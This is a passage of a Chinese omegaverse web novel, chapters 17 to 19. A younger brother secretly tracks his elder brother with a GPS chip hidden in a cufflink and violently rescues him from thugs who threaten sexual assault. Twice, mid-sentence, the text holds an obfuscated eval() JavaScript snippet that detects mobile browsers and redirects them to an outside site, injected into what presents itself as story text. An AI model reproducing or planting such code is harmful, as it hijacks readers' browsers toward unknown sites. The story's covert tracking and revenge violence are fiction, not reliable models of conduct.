他醉醺醺的倚靠在卡座上,迷蒙间睁眼,却看见一个身影越来越近,最后站到了他面前。 “方明?”男人声音低沉,很有质感。 邱方明的神智被酒精摄取,过了好一会儿才认出来眼前的人是谁。 “祁哥?”邱方明哑然地张大了嘴,“你什么时候回国的。” “前不久,还没来得及和你们打声招呼。”被称为祁哥的人施施然坐下,也点了一杯鸡尾酒。粉蓝的酒液轻轻摇晃,在酒吧内多重光线的折射下,带上了某种异样的色彩。 “今天怎么一个人在这喝闷酒,”祁哥话语里带着笑,“我猜猜,是不是有谁惹你生气了?” 邱方明闻言冷哼一声,算做是应答。 “谁啊,我认识吗?”祁哥接着问。 邱方明抿了抿唇:“裴家的人,一个被家族抛弃的omega而已,不值一提。” “这样吗,”祁哥的眼神微变,像是寻到了什么有趣的事情,他抿了口酒,微笑着探身问,“你要教训他吗,我来帮帮你,怎么样?” 17. 哥哥我有罪 演出日/逼近,学校里相关的排练安排也越发紧密。大学社团在大部分时候存在感不强,但每每遇上活动比赛,学生总是要协调课业来配合。 裴宁每天起的都很早,外头天刚放亮,他就已经准备要出门了。在宁江住的时间久了,他对这里和枫京截然不同的气候、饮食也逐渐习惯。虽说有些差异,但裴亦舟的存在却让那些差异都变得不再明显。 公寓里的陈设装修和枫京的别墅相差无几,每天的早饭晚饭都由裴亦舟一手操办,裴宁甚至吃不出和以前有什么不同。有时早上他泛着困吃早饭,恍惚中总觉得下一秒宋月黎就会过来亲亲他的脸。 这样的感觉对裴宁而言真的很奇妙。 好像只要有哥哥在身边,就能自然而然地再生成一个属于他的家。 今早窗外不知从哪跑来一只鸟,对着玻璃叫个不停,叽叽喳喳没完没了,裴宁把脑袋闷进被子也难以阻隔,只好略带怨气地翻身坐起。他游魂般洗漱完,从厕所里拖出脏衣篓,刚放到阳台上裴亦舟就过来接了手。 “今天怎么起这么早?” “被鸟叫吵醒了,我也不想!”裴宁慢吞吞低头,像没骨头似的挂在裴亦舟身上。 “早饭在桌上,先去吃,”裴亦舟拍拍他的背,将人扶正,从柜子里拿出洗衣液,“记得吃慢一点,有利于消化,时间还够。” “早饭是什么,好香。”裴宁耸耸鼻子,闻到一股香味。 裴亦舟:“烤可颂,我夹了煎蛋和培根,之前你不是说看到网上别人做的想吃么?” 怪不得这么香。裴宁叹着气捂住眼睛:“哥,你这样真是要把我宠坏了。” 裴亦舟笑笑,把裴宁的衣物和自己的塞到了一块儿:“宠坏怎么了,我不是你哥吗?” 也是啊,你是我哥哥诶。 刚刚开机的大脑转了两圈,裴宁“啪叽”一下从背后抱住了裴亦舟。他毛茸茸的棕色脑袋在裴亦舟后背上拱了拱,像是某种猫科动物的示好,带着天然的亲昵。 “那我去吃早饭了,回头等我也把厨艺练出来就早起做给你吃!”裴宁说的信誓旦旦,然后,打了个圆润的哈欠。 裴亦舟不由失笑,刚才被裴宁蹭过的皮肤就像火烧一样,存在感无比鲜明。 小猫。粘人的、会犯困的小猫。很可爱。 裴亦舟从衣篓最底下拿出裴宁的内裤,唇角笑意未歇,清瘦修长的手指和白色的布料不断摩擦,在哗哗水流声中,白色的泡泡顺着指尖滑下,在卷入漩涡前一个个碎裂,炸出无人听见的声响。 裴宁吃完早饭总算回了神,他突然想起:啊,我的裤衩! 只可惜为时已晚,等裴宁拖着拖鞋到达现场时,他的短裤都已经被晾好了。 衣架将布料撑得很开,白色的短裤迎风飘扬,而裴亦舟手上还滴着水,清楚地昭示了这事是谁干的。 裴宁:...... 他脸有些莫名发热。 都多大的人了还让哥哥洗裤子,裴宁你要不要脸了? “哥......”裴宁发出一声细弱蚊蝇的叫唤。 “嗯?” “下次你就放着吧,别帮我洗了,”裴宁抹了把滚烫的脸,“我都多大人了,回头让妈妈知道又要说我不害臊。” 裴亦舟甩去手上残存的水珠,没说到底答不答应:“多大在我这都是小孩。” 洗裤子这事像个插曲,大早上在裴宁心里横冲直撞了片刻,旋即又偃旗息鼓。出门前裴宁翻开包看了看,跑到门口的柜子里又拿了几张omega专用的阻隔贴塞进隔层。裴亦舟瞥见了,唇角微扬,没多说。 “好啦,我们出门吧。”裴宁一清醒就活力满满,跟懵神的时候简直是两个人。 他们的公寓在三十层,出门总是要坐电梯。裴宁站在裴亦舟身后,抬眼的时候正好看见哥哥后颈上的阻隔贴翘开了一角。 裴宁没多想,下意识伸手给它按了回去。 大概是位置不太巧,这一下落在了裴亦舟的腺体上。裴宁只觉得指尖碰触到的皮肤陡然变红了些,就连电梯轿厢内的信息素浓度都瞬间拔高了几个台阶。 木兰浓郁逼人,裴宁没忍住猛吸了两口。哥哥真的很香。 “小宁,怎么了?”裴亦舟转过身,神色意外。 裴宁愣了下:“没、没怎么,就是给你的阻隔贴恢复了一下原位。” 轿厢内光线明亮,那些映照而下的光落在裴亦舟的镜框上,压着镜片,让裴宁看不清哥哥的眼睛。 “没事,等会儿我换一张。”裴亦舟很快恢复如常。他抚上后颈,发烫的皮肤几乎要灼伤手指。 这样不行。也许下次是该试试新药了。万一在裴宁面前......裴亦舟不允许那样的情况发生,也不允许自己的丑态被他看见。 他就是如此别扭,明明内里早已不堪入目,却偏偏舍不得外头那层皮囊。 但就是他这一抬手,裴宁敏锐地捕捉到了裴亦舟袖口的那枚新袖扣。玛瑙的成色很好,金丝细线被光一照更是带上了含蓄的矜贵,很衬肤色。 “哥哥你戴上啦,我就知道会很好看,这个颜色真的特别衬你,不枉我挑了一周。”裴宁满意的不行,这会儿的夸赞都有些臭屁。 “是很好看,我会好好保存的。”裴亦舟笑着说。 * 裴宁抵达乐团的时候越思易也刚好进门。 “裴宁!”越思易招招手,“我正想找你呢。” “怎么啦?” “之前那个间奏部分不是我俩来吗,我总觉得还缺点味道,就想找你单独练练,现在时间还早,要不我们来一遍?”越思易问。 裴宁欣然答应。 越思易演奏的是大提琴,它醇厚优雅,和钢琴的声音十分相配。两个人在音乐演奏上都很认真,来了一遍之后裴宁思索着指出了几个不足的地方,越思易着重注意了下,之后的演奏果然好上不少。 “裴宁你真的好厉害,这就是天赋怪吗,一下就能听出哪里有问题,”越思易将琴靠到一边,揉了揉手腕,“你和裴学长果然是兄弟啊,在音乐上都让人没话说。” “哥哥以前经常参加表演吗?” “差不多吧,只要乐团里需要他都会来,老师有时候找不着人就去问他搬救兵。不过裴学长似乎不太喜欢和陌生人接触,所以每次表演完很快就走了,他拉小提琴超帅的,老师都比不过,好多omega都当他是男神呢,”越思易想了想,又问,“对了裴宁,你们俩现在是住在一块儿吗?” “嗯,在我哥公寓。”裴宁合上乐谱,不自觉就想起裴亦舟在家里拉琴的模样,“你还是别叫我大名了,感觉好严肃。” 越思易眼睛一亮:“那我叫你什么?” “嗯......小宁就好,你不是比我大嘛,我哥也这么叫我。” “小宁,”越思易喃喃着,像是有些激动,“很好听的名字,那我以后都这么叫你。” 裴宁颔首,趁着老师还没来,拿出手机给裴亦舟发了几条消息。 【古德猫宁:哥哥我想听你拉小提琴QAQ】 【古德猫宁:晚上回去教我做饭好不好,等回头我神功练成就回家给爸妈秀一手[小猫转圈.jpg]】 “小宁,老师来了。”越思易放轻声音提醒,裴宁也顺势把手机收了起来。 他出门都戴着和手机配套的手表,每次有消息来都会“嘀”地震动一声。而在裴宁的印象里,哥哥一贯会在二十分钟之内回他的消息,但今天手表却一直很安静。 今天怎么还不响?裴宁都要以为是手表没电了。 弹奏间隙他飞快戳开屏幕看了眼,有电啊,百分百呢。 哥哥在干什么? 裴宁倒是想反思自己是不是有点太敏感了,不过是回消息晚了一点而已,也许哥哥是在开会呢,自己还是别想七想八了。但大脑就是这样。某件事你越是告诉自己别多想,就越是会多想。 “噔——”思绪被分到别处,裴宁蓦地弹错了一个音。 越思易看向他,觉得有些不可思议。从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077747|163406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加入小乐团到现在,算起来也快要一个月了,他印象里,这还是裴宁第一次在训练的时候出差错。 裴宁的钢琴是主旋律,他一停,其他人也跟着停了下来。 老师也有些意外,他看了眼时间:“练的也够久了,大家先休息一会儿,活动活动,等下再继续。” 越思易离得近:“小宁你怎么了?” “没事。”裴宁匆匆回应,迫不及待地拿出手机。 消息框很平静,没有红点,裴亦舟确实没回消息。几乎是不假思索的,裴宁拨打了电话。 “您拨打的电话正在通话中,请稍后再拨——” 不是占线。裴宁很快否定,不然哥哥不会不回消息。 那究竟发生了什么,为什么裴亦舟连手机都没有带在身上,这对于一个事务繁忙的成年人来说几乎是不可能的。 裴宁咬紧嘴唇,犹豫片刻,最后还是滑动屏幕,打开了一个app。 映入眼帘的是一张宁江的地图,而在地图之上,有一个小红点正在缓慢跳动 ——那是裴亦舟所在的位置。 哥哥对不起,我不是故意的,我只是很担心很担心你,担心会出现什么意料之外的事情,所以才会做出这样的事。 裴宁在心里不间断地忏悔,但此时此刻,他还是要感谢那枚放在袖口上的定位器。 它镶嵌在玛瑙背面,大概只有米粒大小,它被裴宁装在盒子里郑重送出,被裴亦舟小心翼翼佩戴,被珍视,被喜爱——但那却掺上了裴宁的心机。 两指按住一划,地图被不断放大,红点的位置所在也愈发清晰——它原先正在移动,后来却逐渐停下,半分钟之后又彻底定格。 那地方不远! 裴宁“噌”地一下站起身,险些带到了一旁的乐谱架。 越思易被吓了一跳,老师也闻声走了过来,目光汇集,裴宁眼里却容不下任何其他:“抱歉老师,我有点急事。” * 裴亦舟从公司出来时正和裴江通着电话,但上车没有两分钟,他就察觉到后面有车在跟自己。 如果今天只有他一个人,那不论做什么都可以,但偏偏现在前座还有他的司机和助理,那有些事就需要斟酌了。 车内的挡板缓缓升起,裴亦舟透过车窗看了眼后视镜,沉默着没说话。 “怎么哑巴了啊我的好侄子。”裴江开着玩笑。 “被人跟了,”裴亦舟淡淡道,“三辆别克,估计是□□。” 裴江一愣,问他:“要我帮你么,调几个你弟弟那边的人过来就好。” “不用,我自己来。”裴亦舟没有犹豫,很快回答。 “你自己来啊,真的假的?别犯法知道没,我们是遵纪守法的好公民,有些事情不能做昂。” 唠叨。裴亦舟蹙眉。 “不过我猜应该不是裴家的人,最近裴城甫那老东西和下面的小东西一直忙活着他的大寿呢,哪有心思分给你这个没有竞争力的omega。”裴江嗤之以鼻。 裴亦舟:“知道了。我大概能猜到来的是谁。” “谁啊?” “你不用管。” 又是这句话,这不用管那也不用管,小小年纪怎么就这么爱装呢。裴江默默吐槽。 “那你就这么去了,等会儿要是你弟弟找你怎么办,”裴江一想到那画面就觉得有趣,“哦呦他那个急啊,到时候全世界找哥哥,说不定都要哭了,你不心疼啊。” “......”裴江总算有一句话说到了裴亦舟的点子上。 但后面三辆车越靠越近,就要变成合围的状态,就连迟钝的司机都意识到了不对劲,开始后知后觉地加速。 “你说怎么办啊,别把你心肝给急坏了。”裴江语调欠嗖嗖的,还在调侃。 裴亦舟垂眸,看了眼没有新消息发来的聊天框,说:“我很快就回。他在学校,你的人保护好他就足够。” 他挂断电话,降下挡板,冷静地冲着司机说:“开到没人的地方,然后停车。” 18. 谁干的? 司机额头上都挂满了冷汗,他虽然不解,但还是依照裴亦舟的命令执行下去。 裴亦舟的助理是一位女性beta,她哪见过这阵仗,手心冒着汗回头问上司:“裴总,需要我报警吗?” “不用担心,你等会儿直接回去。”裴亦舟语气镇静,“明天那场会议照常,资料整理好放我办公室。” 秘书愣愣点头,眼睁睁看着他拉开车门下车。后头三辆别克见状也连忙急刹,一转眼的功夫,那车里的人就像增生的线面一样下来了一群。 “裴亦舟?是他吧。”为首的人看了眼手里的照片,差不离。 他一挥手,直接让其他人上去束缚住了裴亦舟的手臂。 这几个人身材都很魁梧,看起来不是一般的马仔,而是练家子。他们熟练地检查了一番,拿走裴亦舟身上的通讯设备后直接把人扭进了车里。 “嘿嘿,老大,这个omega还挺听话的啊。” “别多话,做好我们的事就完了。” 裴亦舟全程没说话,只是冷眼看着这群人。大概十个左右,虽说有些麻烦,但还算好收拾。 轿车开得飞快,七拐八弯绕过了不知道多少地方,最后停在了一家会所面前。裴亦舟被带上楼,那人完全没顾忌他的感受,一个劲地推搡。 为首的走到廊道尽头,推开了包厢的门。宽阔的空间一览无遗,裴亦舟对于里面坐着的人毫不意外。 邱方明。 “来了?还挺快嘛。”邱方明眯眼笑了笑,眼底满是青黑,一看昨夜就没少忙活。 “邱少,人我们已经带到了,还有别的吩咐吗?”为首的大高个问。 邱方明点了烟,悠悠地吸了一口:“别急,先留下,等会儿你们还有用。” 也不知道这根香烟里头掺了什么,邱方明抽完,登时精神一震。 大高个闻言低了低头,跟其他弟兄一道,安静地退到了边上。 这间包厢大,空间充足,约莫能容纳三四十个人。邱方明仰头环视了一眼,对祁哥提供的这个地方还算满意。 他们这些二代,手底下多多少少有些产业。邱方明年纪还轻,家里就算给他安排也只会给些正儿八经的,像这种“三不管”的会所,倒是只能问别人借了。 他和祁哥算个酒肉朋友,已经许多年没联系,这次对方真拿出场地来帮他,邱方明本人还挺意外,只当对方是看重自己邱家少爷的身份。 这处会所隐蔽,私密性高,来的人也不多,想要做什么都方便,更何况是收拾一个手无缚鸡之力的omega? “没什么想说的?”邱方明哑着嗓子问。 裴亦舟就站在那,对上那些虎视眈眈的目光也无动于衷。 邱方明最开始看上他,就是看上那张脸,冷着眼看人的时候多劲,他以前都没见过这样的omega,一时间新鲜的不行。但折腾了这么久,人没得到手不说,自己还栽了个跟头,邱方明现在对这人没了欲望,只剩怨愤。 他撇嘴,将烟扔到了地上:“章嘉的生意,还有我的事,是时候该算算账了吧?” “你以为有那个便宜弟弟罩着就万事大吉了?这里可是宁江,不是枫京,这不,你现在不还是到我面前来了。” 他说着,就控制自己的腺体向外释放大量信息素。 上一次信息素压制没奏效,邱方明始终不太服气。那这一次呢?十几个alpha,他就不信裴亦舟不会腿软到求饶! “你们给我过来摁着他,”邱方明斜睨着看了眼墙边的人,“摁紧了,我要让这个没人要的omega认清一下,omega么,本来就是给alpha艹的。” 裴亦舟面上依旧没什么表情,看着这些人眼中透出欲色,他实在想要嗤笑出声。 alpha都是这副德性吗?这话他连自己也一块儿骂了进去。 估计没后手了,他还以为邱方明能玩出什么花样呢。裴亦舟顿觉无趣,他垂眸,卷起袖摆,以免等会儿的动作剐蹭到裴宁送的袖扣,那可比他自己金贵多了。 邱方明笑得邪性,看着裴亦舟已经被制住,于是也不紧不慢地站起身,踏着刚刚熄灭的烟头缓步走来。 他刚要伸手去碰裴亦舟—— “砰!!”包厢的门被人从外面猛地踢开。 巨大的惯性让这扇合金制成的门在墙上狠狠地砸了一下,那动静大的,几乎让整层楼板都抖了抖。 踹门而入的裴宁喘着气,满眼怒意,他咬牙切齿地看向邱方明:“你找死?” 邱方明看见裴宁就傻眼了。 他是想收拾裴亦舟不假,但不都避开了么,这惹不起的怎么又掺和进来了!? 还没等他反应,心头火起的裴宁已经一脚踹开了裴亦舟身后的alpha,他动作利落,速度又快,那个alpha只觉得眼前一黑,咚一声就直接摔了出去。 裴宁拦在裴亦舟面前,揉了揉自己的手腕:“你们再碰他试试?” 那些alpha不明所以,只当是闯进来了个搅局的,顿时面露厉色,朝来人还击过去。 这些人说的好听点算是练家子,但真要说本事,也不算大。裴宁以前的格斗可是跟着裴松墨身边的警卫学的,那些人都是部队里退下来的专业户,眼前这些不入流的人和他们完全没有可比性。 面对七八个alpha一拥而上,裴宁没有慌乱,只是让裴亦舟在自己身后站好。裴亦舟甚至来不及阻止,裴宁已经面色黑沉地踏了出去。 正面来人最多,裴宁大腿发力,对着面前的人当胸踹去,旁边又有一只手伸来,他直接拿住掐稳,转身就是一个过肩摔。那个大汉沉沉地砸下去,直接带倒了一片人,他们被砸得七荤八素,都来不及想怎么还手就被这迎头痛击打蒙了。 “刚才是你压着哥哥对不对?”裴宁转身,森森看向身后那高个。 高个被他看得汗毛倒竖,下意识蹬蹬往后退。但裴宁没给他逃跑的机会,直接冲上前擒住了他的上臂,顶肘撞膝,三下五除二,动作利落地将人撂倒在了地上。 邱方明瞪着眼都看呆了,他没想到裴宁这个看起来斯斯文文的富家子弟居然这么有本事! 这可是十多个alpha啊!这么多alpha都拦不住? 清楚意识到自己打不过之后邱方明当即想要溜走,但裴宁哪里会忘了他这个罪魁祸首。 他余怒未消,直接拿起了包厢桌子上的酒瓶,拽住邱方明的领子将他拖到近前,不由分说地砸了下去。 “啪!”玻璃瓶触及头颅,在巨大的力道下崩碎炸裂,酒液飞溅,打湿了裴宁胸口的布料。邱方明吱哇乱叫,脸上被红酒浇了个透顶,随后脑袋一沉,直接晕了。 裴宁冷着眼给人开了瓢,一甩手,直接将宛若一滩烂泥的邱方明扔到了地上。殷红的鲜血从邱方明头上流下,裴宁仍粗喘着气。 他刚才砸得时候看准地方收了力,出不了人命。 但一想到哥哥又差点被这群人渣伤害,他就难受、生气、大脑一片空白,哪怕现在动手了,依旧觉得还没出气。 裴宁不忿地走上前,完全没收力地踩上邱方明大腿中央的东西,随后脚下使劲,狠狠碾了几下。 “你给我听清楚了,再敢动我哥哥,我绝对不会放过你!” 这一下邱方明直接痛醒了,这可是alpha最脆弱的地方!他痛得嗷嗷叫,面白如纸,一句话都说不出来,只能像快死了一样嘶嘶抽气。 血液还在沸腾,尚未歇息,裴宁过分紧绷的指骨这会儿才开始隐隐作痛,连带着小臂都发酸。 今天动手情绪没控制住,力道用大了。裴宁咬了咬牙。 而这时,木兰的香味从背后靠近,还未冷静的他措不及防地落入了一个温暖好闻的怀抱。 裴亦舟从背后揽住他的胳膊,轻声说:“哥哥没事,小宁,放轻松。” 哥哥......没事。 对,哥哥没事,自己来的很及时,裴亦舟现在很好。 裴宁深呼吸了几下,总算让那种过分紧张的情绪消退了一些。 他转过身,盯着人上下看了看,确认裴亦舟从头到脚都完好无损,这才舒出一口气。 而就在裴宁恍惚的这个间隙,方才被摔晕的那个高个缓过了劲。他可不知道裴宁的身份,这会儿被打红了眼,扶着墙跌跌撞撞站起身,抄起旁边的椅子就直接冲着裴宁砸去。 裴亦舟当即察觉不对,但躲避已经来不及。他抱住裴宁侧过身,硬生生用后背接下了那一记猛击。 “嗯——”裴亦舟忍住闷哼,肩胛骨登时传来一阵剧痛。 裴宁愕然,肢体比意识先一步行动,拉开裴亦舟的手迎上了高个。 他抄起桌上仅剩的一瓶酒,再度砸了下去。这次他没收手,除开酒瓶还不够,就连拳头也没少用。 到最后还是哥哥拉住了他的胳膊。 “小宁,小宁!”裴亦舟焦急道,“我没事,不能再动手了!” 裴宁渐渐回神,眼泪蓄了满眼。他咬唇,抹了一把眼睛,直接拉住裴亦舟的手腕往外走。 “我们马上去医院,马上去!” 裴宁来这是打的车,下车之后直接给司机转了五百块钱,让他在原地等。 这可是天降横财啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15077748|163406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,司机哪里会不答应。于是他哼着小曲在原地等人出来,没想到这才一小会儿,方才的漂亮男孩出来的时候手上血呼刺啦的不说,还带了个面色发白的人。 “您,您没事吧?”对待财神爷,司机的态度那是慎之又慎。 “去最近的三甲医院,快!”裴宁说完就转过身,看看裴亦舟的脸,又摸摸他的肋骨,心疼都快溢出来了。 裴亦舟的身体微微发颤,裴宁还当哥哥是被吓坏了,于是捧着他的手贴到自己脸边:“哥哥你疼不疼,对不起,对不起,都是我粗心大意。” 他自责的不行,只希望可以快点到医院,一秒都没法多等。 他满心满眼都是裴亦舟,甚至没想好到底要怎样解释自己为什么能这么快赶到...... 但裴亦舟之所以发抖,却并不是因为疼痛。 他承认自己不是什么好东西,但刚才......他看着裴宁为了他打人,一拳拳果断干脆地落下去,砸出声响。他看裴宁抄起酒瓶居高临下地砸落,看他站在自己身前寸步不离,看他现在又泪眼朦胧地安慰自己,小声道歉。 心脏跳得太快,几近抽搐。怎么会这么爽?自己是不是疯了。 “小宁,”裴亦舟嗓子哑得厉害,“哥哥没事,你有没有伤到哪?” 他几乎是强撑着理智在询问。 “没有,我没事。”裴宁马上说。 但裴亦舟还是不放心,他拉过裴宁的手细细检查,果然,在食指和中指的指骨上发现了两个小口子,虽然不算大,但往外渗着血。 裴宁的手是用来演奏乐器的,是用来救死扶伤的。不该受伤,不应该受伤。 那些鼓噪的想法几乎要突破阈值,裴亦舟难以克制,低下头,小心翼翼地帮裴宁舔去了伤口上残存的鲜血。血腥味很淡,裴亦舟将那些卷到嘴里,尝到的却是甜味。 “哥......哥!”裴宁呆了,愣了两秒,像触电一样收回手,面色通红。 这这这!这怎么可以!裴宁在这方面脸皮薄的吓人,经不起一点撩拨。 可是哥哥的舌头好软......诶不对,现在想这个做什么?裴宁你醒醒! 裴亦舟很镇定,他神色认真,像是在说哥哥对弟弟的教导:“伤口有细菌,要消毒。” 手指似乎开始变得不受控制,裴宁耳朵尖红得吓人,就要滴血:“那,那哥哥你也不用这样,我自己舔舔就好了,诶,也不对,很快就到医院了!”晚点再处理伤口都要愈合了。 咚咚咚,心脏撞击胸膛。裴宁坐在车内感觉脑袋发晕。 这不对啊,刚才被砸的不是邱方明吗,晕的人怎么变成自己了? “可我是哥哥啊,”裴亦舟的语气带着蛊惑,“这只是一件小事而已,哥哥愿意做。” “小宁,你的耳朵怎么这么红?”裴亦舟的指尖碰了碰裴宁的耳朵,那里很热。 “没,没事。我看见十字了!我们赶紧下车吧。”裴宁飞速转移话题,但脸上的红晕出卖了他。 车刚停稳,裴宁就忙不迭地跑了下来,离开前还不忘给那个司机又转了一千块。 财神呦!又来了! 司机眉开眼笑,高高兴兴说了再见,等人走远了才吐槽:“现在小情侣花头恁多呢,还搞兄弟play嘞。” 医院这头的ct报告单出来的很快。大概是打击的位置不太巧,裴亦舟的肋骨受到了很大的冲击,虽然没有断裂,但也需要好好静养。 裴宁本就紧张,一听见医生这么说,更是着急忙慌地推着哥哥去把内脏相关的检测也做了一遍。幸好,那些查出来都没什么大问题。 医生给裴亦舟上了点绷带,着重说了几个注意事项,最后开了些药,就算完事了。 看着裴亦舟衬衫下隐隐透出的绷带末梢,裴宁心里头郁闷难受的不行。 他这人受不得委屈,更看不得自己在意的人受委屈。 裴宁半揽着裴亦舟进了电梯,在心里头盘算着怎样才能让邱方明这只打不死的小强彻底歇菜。 他注意力不太集中,也没关注门口有什么变化,扫过脸之后直接推开了公寓的门。 可......家里开着灯,还有饭菜的香气。 裴宁和裴亦舟都愣住了。 宋月黎听见开门声,欢天喜地准备惊喜登场,给两个宝贝一个大大的surprise。 结果她一进玄关,就看见了裴宁青红的指骨,以及裴亦舟领口若隐若现的绷带。 素来和煦温柔的笑消失了,沉默短暂蔓延。 宋月黎正色,放下手里娇嫩欲滴的鲜花,问:“谁干的?” 19. 女士烟 在裴宁的印象里,妈妈总是笑着的。 她优雅,没对谁说过重话,温温柔柔,符合大部分人对omega的认知。 但今天,裴宁可以笃定——妈妈确实生气了。 “谁干的?” 宋月黎这话一出,裴宁早先压下去的委屈瞬间泛了上来,变得一发不可收拾。 要说这些他可不困了! 裴宁真情流露,委屈巴巴地揪着宋月黎的袖口把最近的事全说了一遍。虽然裴亦舟就在旁边,但他说的时候没有回避校园墙那件事。一来,既然要告状,那索性一个不落,二来,那件事哥哥本来就有知情权,裴宁也没打算一直隐瞒。 说到最后,他还吸了吸鼻子,像嗲了毛的小猫一样:“妈妈,我手好痛。” 这话虽然不算假,但也说不上真。刚打完那群硬邦邦的alpha那会儿的确有点痛,不过后来在车上,哥哥给他吹了又吹,揉了又揉,现在已经好多了。 但裴宁就是想演。 他知道自己有点坏,但心里又理直气壮:他坏又怎样,不是邱方明先欺负人的么! 蜜糖罐子里泡大的小孩大多都这样,家长一来,腰杆就硬了,谁也不怕,一门心思告状。 宋月黎哪里受得了裴宁这样的语气:“没事,小宁和哥哥今天先好好睡一晚,那些事情让妈妈来处理就好。” 她说着,将之前的情绪收敛好,再度变回那个温柔和煦的母亲。裴宁和裴亦舟被她推到桌前好好吃了顿饭,然后送回了屋里。 两人的卧室就在隔壁,裴宁进门之前又看了眼哥哥的身影,心里忐忑的不行。 哥哥怎么还不问我为什么能那么快找到他?裴宁咬了咬下唇,想说缘由,但话到了喉咙边又有些说不出口。 真的要说吗。往自己哥哥身上放定位器,那不变态吗? 裴亦舟察觉到他的目光,放在门把上的手收回,直接向他走来。 来了,来了! 裴宁心脏猛地砸了声,敲得胸腔里全是回响。 “哥哥......”他低下头,不太敢直视裴亦舟的目光。 他原以为裴亦舟会立马质问,但下一秒,裴宁忽然感觉到似乎有什么东西落了下来。 不是错觉,是哥哥的手。 那双干净好看的手落在他后颈,动作轻柔地摸了摸他的头发,然后又蹭着他的脸颊垂落,说不出的亲昵。 “哥哥?”裴宁哑然。 意料之中的话语没有出现,裴亦舟开口,说的却是:“谢谢小宝。” 小宝。 这个称呼只有儿时家里的长辈会用,后来他大了,还会这么叫的人只有外公外婆。外公总是连声叫他“小宝小宝,过来看看我的茶叶怎么样!”,而那些时候,裴亦舟总陪在他身边,想来也是听见了的。 裴宁像一台不大灵光的收音机,卡顿不已:“为什么,突然谢我?” “当然是因为你保护了哥哥啊。”裴亦舟说的很坦然,“那么多事情,难道不都是小宁做的吗?” 说的也是。裴宁反应满了半拍,迟迟地点了下头。承认后他又仰头问:“那你会怪我自作主张吗?” 裴亦舟目光温和:“不会,永远不会。” “但是下次我希望你可以不要受伤,”裴亦舟垂眸,视线扫过裴宁的手指,“为了那些人不值得。” “嗯嗯,我知道了。”裴宁小鸡啄米一样点头。 从刚才到现在,裴亦舟脸上没有一丝异色,看起来压根没打算提那事。这样下去也不是个事......为了不当变态,裴宁还是非常努力地给自己打了个圆场。 “其实,今天我之所以能到那么快是,是因为正好有认识的朋友去了那,他说看见了你,所以我就......”裴宁说谎话的技巧并不高明,但裴亦舟听得很认真,末了,还微微颔首,像是感激。 裴宁见状在心里一握拳,成了! 成了?裴亦舟站在裴宁面前,比他略高小半个头。视线自上而下投落的时候,正好能看见那长而密的眼睫一上一下颤动。 天真的乖孩子。 什么样朋友会在那个时间去这么私密的会所?这里是宁江,他的弟弟真的有这样一个朋友吗? 假的。 “早点休息吧,我记得明天我们要一块儿去乐团排练。”裴亦舟说。 裴宁和他道了晚安,进门前还依依不舍地看了眼他的胸口,像是担心,还有心疼。他是不太会藏情绪的人,有什么想法都明明白白地写在了脸上。 这样的注视似乎是滚油,带着不可触碰的温度浇下来,让人根本无法忽视。裴亦舟压着呼吸,开门,进屋,关门,一气呵成。 他背靠在门板上,没有犹豫,直接翻下了卷在手肘上的衬衫袖子,然后——取下了那枚袖扣。 翻面,裴亦舟只看了一眼。 啊,那这一秒小宁不能算乖孩子了。 他的弟弟可真是个坏家伙。 指腹摩挲过袖口光滑的表面,像是透过它在碰触着其他的什么东西。不知想到什么,裴亦舟心情愉悦,笑着将袖扣别回原位,极为珍惜地抚摸了两下。 他是知道了裴宁的小心思,但那又怎么样,如果带着这枚袖口就能消解裴宁近来莫名的紧张感,那他为什么不去做呢。 裴宁是他的弟弟,他需要做的很简单,那就是顺从他,安抚他,爱他。 再说,他自己难道就是什么好东西吗? 这是弟弟送他的袖扣。漂亮,合适,珍贵。 他会一直戴着,他要一直戴着。 * 裴宁最近老是做一些莫名其妙的梦。 那些梦境总是湿哒哒的,而那个看不清脸的男人屡次出现,裴宁都有点抓狂了,可惜还是看不清。 一次两次三次就算了,下次一定! 刚睁眼的裴宁默念三二一,终于稍微清醒一点,他翻身坐起,洗漱完出了卧室。 客厅的餐桌上放着一盘早餐,今天早餐依旧是烤可颂配三片煎的恰到好处的培根,它们垫在绿叶子菜上,旁边还摆着一个切开的橙子。 不用看就知道,这么漂亮的早餐肯定是哥哥做的。 裴宁在椅子上坐下,叉起培根看了眼客厅。 裴宁:? 他以为自己没睡醒,又揉了揉眼睛。 茶几上怎么有三个茶杯? “哥哥,家里来客人了吗?”裴宁问。算上裴亦舟和宋月黎,这里拢共只有三个人,总不会是给自己准备的吧? 裴亦舟围着围裙从厨房里出来,给裴宁递了一杯刚温好的热牛奶:“没有客人。” “那茶几上怎么有三个杯子?”还有,大清早的妈妈去哪了? “你说那啊,”裴亦舟笑笑,“是裴叔叔来了。” 裴松墨来了。 在接到妻子电话后的第一时间。 他身份特殊,出行不宜声张,但宁江还是有人听到了风声,以为是有什么大事,紧张的不行,电话一个接一个往裴松墨手机上赶。 种种声音恭敬不乏忐忑,裴松墨却语气平常,只说:“没什么可担心的,我就是来看看家里的小孩而已。别紧张。” 挂了电话,他侧目,瞧见身侧的宋月黎明显还在生气,直接伸手牵住了她。无名指上的两枚戒指碰了碰,撞出一声响。 “别气了,孩子们没事就好,出门在外总是不如家里顺心的。” “没事没事,怎么算没事,”宋月黎心里头实在是烦,她啪一声挥开裴松墨的手,拍了拍他的胳膊,“知道你带了,拿过来。” 